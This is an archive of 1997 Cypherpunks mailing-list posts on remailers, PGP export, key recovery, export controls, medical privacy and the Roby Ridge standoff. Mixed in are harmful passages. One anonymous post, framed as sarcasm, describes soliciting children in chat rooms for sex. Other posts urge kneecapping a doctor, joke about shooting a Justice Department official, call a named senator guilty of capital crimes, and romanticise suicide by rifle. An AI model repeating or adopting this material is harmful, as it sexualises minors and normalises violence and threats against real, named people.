Subject: Fed's worst nightmare... / Re: Tim's worst nightmare.,..
In-Reply-To: <v03102803b07a73057351@[207.167.93.63]>
Message-ID: <34558F8C.3A4D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
 
> Ironically, I live up on top of a ridge, about 500 feet above the valley
> floor below me, with three sides almost impossible to conventional entry
> methods. So, if there's a "Ruby Ridge" or "Roby Ridge" at my place, the
> dynamics will be quite different.

Agent #1: "Shall we go after the "Nuke DC" guy, or the grandmother?"

Agents #'s (2,3,4,5...infinity) <in unison>: "GRANDMA!!!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Tue, 28 Oct 1997 00:30:28 +0800
To: Raph Levien <raph@CS.Berkeley.EDU>
Subject: [NEW] mixer@htp.org (was: List of reliable remailers)
In-Reply-To: <199710271450.GAA04159@kiwi.cs.berkeley.edu>
Message-ID: <199710271621.BAA31069@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain



# Sorry if dup.

Dear Raph Levien,

This is Tsuyoshi Hayashi, lives in Yokohama, Japan.

On Mon, 27 Oct 1997 06:50:08 -0800, Raph Levien said:
 >   I operate a remailer pinging service which collects detailed
 >information about remailer features and reliability.
[..]

Please add mixer@htp.org, the first public remailer in
Japan, was setup by a member of cypherpunks-j.

# it is not me.

 >$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
 >$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
[..]

mixer@htp.org is probably:

  $remailer{"mixer"} = "<mixer@htp.org> cpunk mix pgp";

Please add this record to your check list.

====

Note that a lot of members at cypherpunks-j are now
leaning how to use remailer(s) and they (and I) want to
need some info about it.  So, in the next time, please
send your report (everytime) to cypherpunks-j's list,
cypherpunks-j@htp.org.

Thanks,

 - Tsuyoshi Hayashi <take@barrier-free.co.jp>
 - Barrier Free, Inc. (established on 25 Jan 1996)
 - http://TEL.TO/045-776-3524





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Oct 1997 09:01:47 +0800
To: cypherpunks@toad.com
Subject: Re: Theory of the Day!!
Message-ID: <199710280049.BAA02265@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



vcarlos35@juno.com wrote:
> 
> ___Theory Of Everything___
> Drumroll please...
> L. Deitweler is the same person as wombat.sympatico.ca.
> 
> Send all flames, comments, replies, whatever... to me.

  Checked your headers. Turns out, the above is yesterday's theory.
  Nice try.

L. Dietweler





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Oct 1997 12:16:24 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199710280357.EAA23335@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




 " If passed, the traditional hamfest flea markets where all sorts
of bizzare old radio junk gets traded for cash or swapped for other
gear will be largely a thing of the past, as almost all radio receivers
and transcievers that hams and other electronic hackers might want to
sell or trade will be seriously illegal, and one never knows who that
anonymous cash customer really is..."

The odds are very good that as technology increases the power & freedom of individuals to make an end run around the state that the state will increasingly make the effort to stop it.
This could get really ugly in the future.  Indeed, it has already, but most are not awake enough to notice. Devolution or the demise of the central power is a dangerous process to be caught up in.
In the case of the fedgov, it has a lot of power to abuse and I expect that the latest encryption fight is just a warmup. If the crooks & criminals in the intelligensia can't get their way legally,
then their only option is "any means possible." That covers a lot of territory.

Insure youself against the state. The King likes it *his* way.

A. From the Cyber-Jurisdiction
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 28 Oct 1997 13:25:17 +0800
To: cypherpunks-j@htp.org
Subject: PGP 5.5 available outside US
Message-ID: <Pine.BSF.3.96.971028050628.12527A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



It seems that unknown Cypherpunks have yet again shown their disrespect of
US export laws by exporting the latest version of PGP. The Windows version
of PGP 5.5 is now available for your downloading pleasure at
ftp://ftp.replay.com/pub/crypto/incoming/PGP55.zip

PGP 5.5 features superior LDAP keyserver integration, multiple signature
categories, and automatic decryption (set Preferences -> Email ->
Automatically Decrypt).

"You heard the rumors. Now try it yourself." :-)

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Oct 1997 12:32:44 +0800
To: cypherpunks@toad.com
Subject: Re: PGP 5.5 available outside US
Message-ID: <199710280423.FAA25974@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> It seems that unknown Cypherpunks have yet again shown their disrespect of
> US export laws by exporting the latest version of PGP. The Windows version
> of PGP 5.5 is now available for your downloading pleasure at
> ftp://ftp.replay.com/pub/crypto/incoming/PGP55.zip

I installed it. It seems to automatically encrypt everything to Lucky.
Hmmm...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 29 Oct 1997 22:16:47 +0800
To: cypherpunks@cyberpass.net
Subject: Louis Freeh calls for communication crackdown
Message-ID: <199710291407.GAA08620@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote that David Kaufman wrote that Reuters wrote:
>``It could take a $30 million supercomputer a year to figure out the
>simplest encrypted message without this feature,'' Freeh said. ``And
>that message might be 'we have the victim and will kill him in an
>hour'.''

This seems like a good time to try out The Cypherpunk War Cry: Shine
Shine!! Bakayarou!! Aho!! Manuke!! Anpontan!!

(Hope it means something bad!)

Jonathan Wienke correctly pointed out the absurdity of Freeh's
example.

But, there are two ways Louis and his supporters can wriggle out of
this point.

One is that the friends and relatives of the kidnap victime are
sometimes tempted to conceal the crime as they may believe that a
quiet negotiation and ransom payment will be more likely to secure the
hostage's release than involving the authorities.  (In many countries
it is illegal to do this.)

However, if the all knowing and all seeing secret police agency can
intercept all communications they will be able to find out and
interfere with plans to make ransom payments and jail the friends of
the victim.  That might be a little rough on the trophy, it is true,
but it will be said that this will generally discourage other
kidnappings in the future.

The second is that encryption makes remailers possible.  Remailers
make it possible for kidnappers to untraceably send messages.

What Louis and his supporters are neglecting is that kidnappers are
already able to do this without encryption.  The unabomber, while not
a kidnapper, is an especially good example.  For the at least a decade
he was communicating with the FBI itself on a regular basis without
facing any consequences.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNFbKiJaWtjSmRH/5AQFNngf+Jly6DbqAU2JFPsF2gghY4tXHmp8XkVx3
t7F2IlBterhE99wxEbs+B6Nm4e0MvOCoTNbKly+XJi4If/3llFbcqBEisiib511N
eX7ttczuV+ne5I2yNmt0M5vPwqRG/iaOSvwyDNbKQw72Y19PsMhZLfTp1WXYcYTC
y/FcQa7JZKcf0/17kvVTgOq20XB4qxfPVMI6j7L4Dh7qRKl7Ph9CENaUq/uJtbBq
NSDgsK64KFktTrERtnisJJA6RtDO+ZKUPU93vyoRuttST34EUDOcUq0QP566BAlw
OKfi28+12AJtEqSUD2MEh0EgwLkKWUIkDNUp8yXzgI7BZeSSeoPbDg==
=FPRq
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 28 Oct 1997 19:54:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim's worst nightmare.,..
Message-ID: <1.5.4.32.19971028115311.009a71e8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim's arms race is as hypnotizing as that of the search
for max strength crypto: how to prepare for beseiged last 
war scenarios, when resupply is overrun with refugees, 
weather prevents airborne rescue, comm is jammed, 
deadmeat is piled all around or run away screaming with 
terror ... or numb with media burnout.

Have many other of us have been on that hilltop, too, or
struggling to get there RSN 'cause life truly sucks?

What you do when no help is coming and nobody on earth
gives a FF about your lonely carcass, well, that's when
you fire the last .223 where it's been designed to indifferently
go, to finally solve Cunanin misjudgments with hoseaway 
mess.

Hard life teaches: The only safelove communication is end 
to end to yourself, ricochet alarms of system breakdown of 
pointless existence between heart and head. 

The universe broadcasts: The only totally impregnable 
protection of survivalist megalomania hardwired in all of 
us is to wage war and lose all our ambitions for immortality 
within our custom-made body bag.

Or race ahead terabyte to orthagonal suicide, clearing slow-go 
bandwidth for reproductive mates to logon to a more reliably
lazy DNA ISP.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 29 Oct 1997 01:16:02 +0800
To: Ariel Glenn <cypherpunks@cyberpass.net
Subject: Re: dumb and dumber
In-Reply-To: <CMM.0.90.4.878054795.ariel@stealth.cc.columbia.edu>
Message-ID: <v0310280db07bbc6bd6f8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:06 AM -0700 10/28/97, Ariel Glenn wrote:
>every day I think, 'things can't possibly get any stupider'.  and
>invariably, I am proven wrong.
>
>from CNET: http://www.news.com/News/Item/0,4,15721,00.html
>
>Next year's Pentium II computers will be subject to
>export controls if a bill pending in Congress passes.
>It's expected to come up in the House today.
>
>Under an amendment to the 1998 Defense
>Authorization bill, computer makers shipping machines
>that can perform 2,000 million theoretical operations
>per second (MTOPS) or more to developing nations
>will have to apply to the Commerce Department for an
>export license.

It could be an interesting legal battle. Intel will certainly bring a lot
of firepower to bear on this.

Interestingly, one of the reasons the Pentium, and Pentium II, is being
fabbed in Israel (they ignored my "soft target" evaluation) and Ireland
(ditto), is to get production inside the borders of the area, including the
European Community.

So, what happens when Pentium IIs are drop-shipped straight to Penang,
Malaysia for packaging and test and are then drop-shipped directly to
"developing nations"? Where did the export occur?

With crypto code, it was the shipment of intellectual property to a
non-U.S. nation. E.g., if RSADSI sends programmers to Ireland to write a
crypto program so as to bypass U.S. laws, that's where the violation
supposedly occurred. (We haven't seen major prosecutions based on this
interpretation, yet.)

But I suppose it won't be too much of a hassle. Intel and other computer
companies dealt with the COCOM laws adequately, and the new proposal,
though pissing into the wind, won't even be as onerous as COCOM was.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 29 Oct 1997 01:42:19 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Search warrants and Senate hearing on medical privacy
In-Reply-To: <v03007807b07bb9a5aaea@[204.254.21.201]>
Message-ID: <v0310280eb07bbe4d4839@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:15 AM -0700 10/28/97, Declan McCullagh wrote:

>Well, senator, perhaps the best way of protecting our privacy is to ensure
>that law enforcement officials need a search warrant before browsing
>through your medical files. Right now police do not need to go before a
>judge to get your records from your hospital or doctor's office; often
>"informal arrangements" exist. If a doctor or hospital wants to promise to
>"protect your privacy," they can't.

Not just this, but doctors and nurses are under strong laws which forbid
them from keeping certain kinds of patient information private. For example:

* under Tarasoff, counsellors and shrinks must "narc out" their patients
who are discussing their fantasies, dreams, past actions, future plans, etc.

* gunshot and similar wounds may not be treated in privacy....doctors and
nurses face prison time if they don't narc out such patients

(One of the books I almost bought at the Gun Show was a controversial and
gory book, "Ditch Medicine," intended for treatment of gunshot wounds,
emergency amputations, etc., when doctors are not around, as in a battle or
in the wilderness, or where a "bootleg doctor" cannot be obtained. No doubt
the American Medical Association would like to see this book banned.)


>Yesterday a senior Justice Department official told journalists (in a
>background briefing at Main Justice) that requiring police to obtain a
>search warrant could derail counter-terrorism efforts. "Imposing a probable
>cause standard is something we would vehemently object to," he said. Which
>explains why he doesn't vehemently object to the legislation this committee
>is considering. The versions of the "medical privacy" bills I'm familiar
>with don't include such strict safeguards. We require the FBI to obtain a
>search warrant to enter your house or office: why shouldn't we require the
>same for medical files?

The "medical privacy" bills are guaranteed to be like other "privacy
bills": fig leaves for social planners to hold up in front of Joe Sixpack,
but with the usual backdoors.

(PGP, Inc. could increase market share by offering a special "Hospital
Records Recovery" feature. "It's for the children!!!!")

All we need to ensure medical privacy is a return to the right of contract.
I pay Dr. Jones for his services and for his agreement to not pass my
medical file around to his buddies, or to sell it to advertisers, or to let
"counter-terrorism" agents snoop around in his files. Sounds fair to me.

(And if he violates this trust, kneecap him in the parking lot....it'll
send a message to other contract-breakers.)

>At yesterday's briefing some of us asked what safeguards are in place to
>prevent dragnet fishing by police. For instance, what if agents access a
>1,000,000-person database during a medical fraud case and stumble across
>someone who's being treated for illegal drugs? Can they prosecute that
>person for drug crimes? Yes, they're allowed to but they probably won't. "I
>don't see that as being a realistic issue," the Justice Department official
>said.

Right. Sure. Whatever.

Until they decide they want to.

America is emulating the Soviet "psychiatric prison" system. Look at Roby
Ridge, where some possibly eccentric old lady is being beseiged by
Waco-type raiders. Look for her to "set her house on fire."

(Not to sound like the little dog in Oz, but: "Pay no attention to the SWAT
team pushing the nozzle of a flame thrower under her door.")

As for Leahy, he's been a typical political criminal, guilty of several
capital crimes, for decades. I was never fooled.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 29 Oct 1997 11:13:36 +0800
To: cypherpunks@toad.com
Subject: Re: Microsoft's CMR Keys
In-Reply-To: <199710272304.AAA16802@basement.replay.com>
Message-ID: <v0310280db07bcfdb8ea7@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:04 AM +0100 10/28/1997, Anonymous wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Tim May, or someone like him, Wrote:
>> I am offering $25,000 for the CMR key for Microsoft.
>> (As a loyal American,
>> I plan to then send it to Janet Reno and Louis Freeh.)
>
>Here's the public key (that _was_ what you asked for, wasn't it? :-)
>
>If you'd like the private key, please enclose $25,000 in small unmarked
>Mark Twain digicash encrypted to the CMR key, mailed to billg@microsoft.com,
>with Subject: Testing Message Recovery, Please Ignore
>and I'll get back to you RSN.

OK, I'll bite.  Why don't we both escrow $25,000 in MT ecash with a trusted
3rd party, say Lucky, while another party, say TCM judges whether your
private key matches MS' public key.  Winner take all.  All decsion by the
judge are final.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 29 Oct 1997 00:20:20 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Source code obfuscation
In-Reply-To: <Pine.BSF.3.96.971028165130.13198F-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710281613.LAA28421@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.BSF.3.96.971028165130.13198F-100000@pakastelohi.cypherpunks.to>,
on 10/28/97 
   at 04:52 PM, Lucky Green <shamrock@cypherpunks.to> said:

>Is anyone familiar with tools that can be used to 
>obscure source code so that it builds, but no longer
>contains comments or useful variable or procedure
>names?

Write it in ASM, 99.9% woun't have a clue to what it is. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFYOgY9Co1n+aLhhAQGMIAQAx42lvkz9dynJF5jwjmzenn9VrjwNS1MB
hq93tq2X8kQVjrZq4D+pmztCdFqatMiO4a4q0xLuwewQQ4gH7mcpVo5OixPONldr
oS/rd6bf/U8yNDQvW9N+1nh2nzOV01UFoXbz0hUjhgvZpQlvs0Xs+2V1CVk1q6hA
3jhSS8ZwSaI=
=ckXx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Wed, 29 Oct 1997 00:19:08 +0800
To: cypherpunks@cyberpass.net
Subject: dumb and dumber
Message-ID: <CMM.0.90.4.878054795.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



every day I think, 'things can't possibly get any stupider'.  and
invariably, I am proven wrong.

from CNET: http://www.news.com/News/Item/0,4,15721,00.html

Next year's Pentium II computers will be subject to
export controls if a bill pending in Congress passes.
It's expected to come up in the House today. 

Under an amendment to the 1998 Defense
Authorization bill, computer makers shipping machines
that can perform 2,000 million theoretical operations
per second (MTOPS) or more to developing nations
will have to apply to the Commerce Department for an
export license. 

...

Lofgren explained that about the only way to stop the
provision from becoming law at this point would be a
presidential veto, because the sprawling piece of
legislation has already been approved in substance by
the House and Senate.

etc., etc., etc.


sheesh...

Ariel Glenn
ariel@columbia.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 29 Oct 1997 00:34:22 +0800
To: cypherpunks@toad.com
Subject: Search warrants and Senate hearing on medical privacy
Message-ID: <v03007807b07bb9a5aaea@[204.254.21.201]>
MIME-Version: 1.0
Content-Type: text/plain



I'm sitting in a Senate hearing room right now; the topic is medical
privacy. Sen. Patrick Leahy (D-Vermont), an occasional friend of civil
liberties, is speaking: "How is our right of privacy, one of our most
cherised freedoms, going to be protected?"

Well, senator, perhaps the best way of protecting our privacy is to ensure
that law enforcement officials need a search warrant before browsing
through your medical files. Right now police do not need to go before a
judge to get your records from your hospital or doctor's office; often
"informal arrangements" exist. If a doctor or hospital wants to promise to
"protect your privacy," they can't.

Yesterday a senior Justice Department official told journalists (in a
background briefing at Main Justice) that requiring police to obtain a
search warrant could derail counter-terrorism efforts. "Imposing a probable
cause standard is something we would vehemently object to," he said. Which
explains why he doesn't vehemently object to the legislation this committee
is considering. The versions of the "medical privacy" bills I'm familiar
with don't include such strict safeguards. We require the FBI to obtain a
search warrant to enter your house or office: why shouldn't we require the
same for medical files?

At yesterday's briefing some of us asked what safeguards are in place to
prevent dragnet fishing by police. For instance, what if agents access a
1,000,000-person database during a medical fraud case and stumble across
someone who's being treated for illegal drugs? Can they prosecute that
person for drug crimes? Yes, they're allowed to but they probably won't. "I
don't see that as being a realistic issue," the Justice Department official
said.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Maxson <maxson1@MARSHALL.EDU>
Date: Wed, 29 Oct 1997 00:36:27 +0800
To: cypherpunks@cyberpass.net
Subject: PGP and GMR
In-Reply-To: <199710231945.VAA05198@basement.replay.com>
Message-ID: <3.0.3.32.19971028112552.006bc4b8@hobbit.marshall.edu>
MIME-Version: 1.0
Content-Type: text/plain




<><

e-mail:  maxson1@marshall.edu
www:     http://webpages.marshall.edu/~maxson1

My ham call is KC8CDT.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Maxson <maxson1@MARSHALL.EDU>
Date: Wed, 29 Oct 1997 01:29:38 +0800
To: cypherpunks@cyberpass.net
Subject: PGP and GMR
Message-ID: <3.0.3.32.19971028112812.006bc3fc@hobbit.marshall.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

All,

Sorry about that blank post.  It was qued up to send and I did not
realize it


I am new to this list and cryptogrophy, and have a few questions.
1)what is CMR?  2) how does it relate to PGP?  3) what is GAK?  I
have gathered that it is a back door that will encrypt all messags
to
the goverment (or some other official body) as well as encrypting it
to the recipiant.  Also, I assume that PGP 5.X has added this to
their encryption scheme to allow companies to read employee e-mail.
Does PGP 2.6.2 have this back door into it?  tnx for your help. 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNFYSjQ5f1xn5SKgdAQEEAwP/VGRd2CcQubkDAQH7G6lOU7ShvxjqBYke
4ZJ3RyMLvWkTIFtJJIpIY0fRtkkw9OL0dxQdfCSyk/gNedh7viTEB5ozTwBT7jfd
Jaz4euv+XHuvVfTXTI6Iy+i0XufRaxGxX9sn8vj6UKdLa+L/nzEwRsbyDOpASqvK
Pb4t7jJj0FE=
=wPLv
-----END PGP SIGNATURE-----

<><

e-mail:  maxson1@marshall.edu
www:     http://webpages.marshall.edu/~maxson1

My ham call is KC8CDT.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 29 Oct 1997 05:27:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: ITAR a la Canada
In-Reply-To: <199710281924.UAA25841@basement.replay.com>
Message-ID: <v03007805b07bfdf7ccee@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



I never personally delved into the Canadian regulations.  However, Stewart
Baker wrote a summary of the differences between Canadian and U.S. crypto
export regulations.  It seems that Canada is considerably more liberal than
the United States.  Check out the article, in the publications section of
www.steptoe.com

Lee

At 11:24 AM -0800 10/28/97, Anonymous wrote:
>Anyone know if Canada has accepted all of the restrictions
>under ITAR?
>
>Specifically, U.S. companies must (I assume) identify your
>domain before permitting access to restricted versions of
>software.  Does the same apply for Canada?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 29 Oct 1997 02:32:15 +0800
To: cypherpunks@toad.com
Subject: Roby latest
Message-ID: <199710281825.NAA09614@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



See http://www.sj-r.com/roby.html for the latest.


My favorite excerpt:

> Illinois State Police feared that any progress in getting Allen - who's
> suspected to suffer from paranoia, delusions and suicidal thoughts - to
> exit on her own may have been undone. On Sunday, troopers broke out most
> of the remaining windows in Allen's house, tossed nine pepper-spray
> grenades inside and sent a police dog in to subdue Allen.
> 
> All the tactics failed: Allen fired what police believe was a small-caliber
> handgun as troopers inserted mirrors into her house to look around, she
> apparently huddled in a bathroom to ward off the pepper spray, and she 
> shot the police dog through the mouth.

[snip]

> Police movement toward the house was sparked by a long silence inside.
> Despite sophisticated surveillance and listening devices monitoring
> the house, Allen hadn't been seen or heard since 1 p.m. Saturday,
> McDonald said (not 1 a.m. as previously reported). Troopers wanted to
> see if she had collapsed or fallen ill.
> 
> Should similar circumstances arise again, police may try different
> tactics to check Allen's health.
             ^^^^^^^^^^^^^^^^^^^^

Oh!  They were checking her health!  Of course.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 29 Oct 1997 04:09:23 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Search warrants and Senate hearing on medical privacy
In-Reply-To: <v03007807b07bb9a5aaea@[204.254.21.201]>
Message-ID: <34564260.159C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:

> Yesterday a senior Justice Department official told journalists (in a
> background briefing at Main Justice) that requiring police to obtain a
> search warrant could derail counter-terrorism efforts. "Imposing a probable
> cause standard is something we would vehemently object to," he said.

Declan,
  I didn't see anything about it in the news. Did your gun jam?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 29 Oct 1997 04:44:42 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Roby latest
In-Reply-To: <199710281825.NAA09614@jafar.issl.atl.hp.com>
Message-ID: <34564637.6A32@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jeff Barber wrote:
> See http://www.sj-r.com/roby.html for the latest.
 
> My favorite excerpt:
> 
> > Illinois State Police feared that any progress in getting Allen - who's
> > suspected to suffer from paranoia, delusions and suicidal thoughts - to
> > exit on her own may have been undone. On Sunday, troopers broke out most
> > of the remaining windows in Allen's house, tossed nine pepper-spray
> > grenades inside and sent a police dog in to subdue Allen.

I used to run a 24-hour Drop-In Center which had trained volunteer
counsellors on staff around the clock.
I was checking on the night shift one time, and heard Alan, one of
the night counsellors, telling a paranoid schizophrenic (who had
come to the Center when the walls began closing in on him at 4 a.m.),
"I'm a Warlock, you know. I could kill you just by looking at you."

I always wondered what became of Alan. Anyone spot him at Roby Ridge?

> > Should similar circumstances arise again, police may try different
> > tactics to check Allen's health.
>              ^^^^^^^^^^^^^^^^^^^^
> 
> Oh!  They were checking her health!  Of course.

Those pepper-spray grenades contained organically grown pepper, from
the "We're from the Government and We're Here to Help You, Inc."
company, located in the basement of the Pentagon.
>From the brochure: "...and a valuable aide in clearing up sinus
  congestion."

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Wed, 29 Oct 1997 03:21:11 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: Source code obfuscation
Message-ID: <2328C77FF9F2D011AE970000F84104A74933E7@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>Is anyone familiar with tools that can be used to 
>obscure source code so that it builds, but no longer
>contains comments or useful variable or procedure
>names?

<URL:http://burks.bton.ac.uk/burks/software/devtools/> has 2 shareware
tools for C code.  I also know there is/was some kind of commercial
tool, that used to be used by Abraxas <URL:http://www.abxsoft.com/> for
their CodeCheck product in Unix configurations.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 29 Oct 1997 06:15:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: cryptographic anecdotes
Message-ID: <ec2abb1f4a3d2670c81cba0335db280c@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Julian Assange wrote:
>I'm involved in producing a segment on cryptograpic issues for Radio
>National (ABC) to be aired latter this week. I have no problems with
>the technical issues but could use some (reliable) "colour" i.e small
>quirky or unusual anecdotes that will draw in and hold the larger
>order of listeners who don't otherwise have any cryptography/
>cryptographic-policy background.
>
>        e.g     o RSA export-a-crypto-system .sig
>                o algorithm tatoos (couldn't find any confirmation of
>                  this :()

http://www.dcs.ex.ac.uk/~aba/rsa/ has a picture and name of the person
with the RSA tattoo.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Oct 1997 23:47:37 +0800
To: cypherpunks@toad.com
Subject: Re: NABMLA embattled -- mirror sites?
Message-ID: <199710281535.QAA28901@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous (no, another Anonymous!) wrote:

>Anonymous wrote:
>
>> I'm not sure the right to free speech includes the right to endorse guys
>> fucking little boys, whether they give it a moniker like "transgenerational
>> love" or not. Any sex with a minor is rape, since they can't legally give
>> consent. 
>
>That's right. People who are too lazy to drive a fourteen year old
>to New Mexico, where they can legally fuck their brains out, should
>go to jail for a long, long time.
>When I cruise the children's chat lines, I always tell them I would
>like to meet them in New Mexico and fuck their brains out. That's
>legal.
>
>What I love about the law is that it gives us clear guidelines to
>help us recognize the difference between those filthy fucking
>child-molesting perverts fucking fourteen year olds in California,
>and the decent, upstanding citizens fucking the fourteen year
>olds in New Mexico.

Excellent! So have NAMBLA move their HQ to New Mexico. Then they can talk
about fucking little boys' brains out to their heart's content, in person
or on their Web site, without breaking any local laws.

Welcome to the Fifty Fiefdoms. Of course, there'll be changes in the next revision of the Constitution:

  1) The First, Second, Fourth and Fifth Amendments will be missing.
  2) The Tenth Amendment will be altered so that the it says:
     "The powers not delegated to the United States by the Constitution,
     nor prohibited by it to the States, are reserved to the States
     respectively, or to the people -- unless we feel like usurping them,
     or we can convince people they don't need them by spreading FUD."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 29 Oct 1997 05:58:28 +0800
To: "Jennifer S. Granick" <jgranick@dnai.com>
Subject: Re: Search warrants and Senate hearing on medical privacy
In-Reply-To: <v0310280eb07bbe4d4839@[207.167.93.63]>
Message-ID: <v03007809b07c0b5032a7@[204.254.22.161]>
MIME-Version: 1.0
Content-Type: text/plain



If you're going to respond to Tim's post, you should copy him or
cypherpunks... I've attached your whole message below...

I will respond to one point, though:

>The free market approach won't keep medical records private.

We haven't tried that approach yet, at least in the late 20th century. The
wealth of federal regulation and involvement in health care is
breathtaking. Ever since after WWII when for tax reasons businesses began
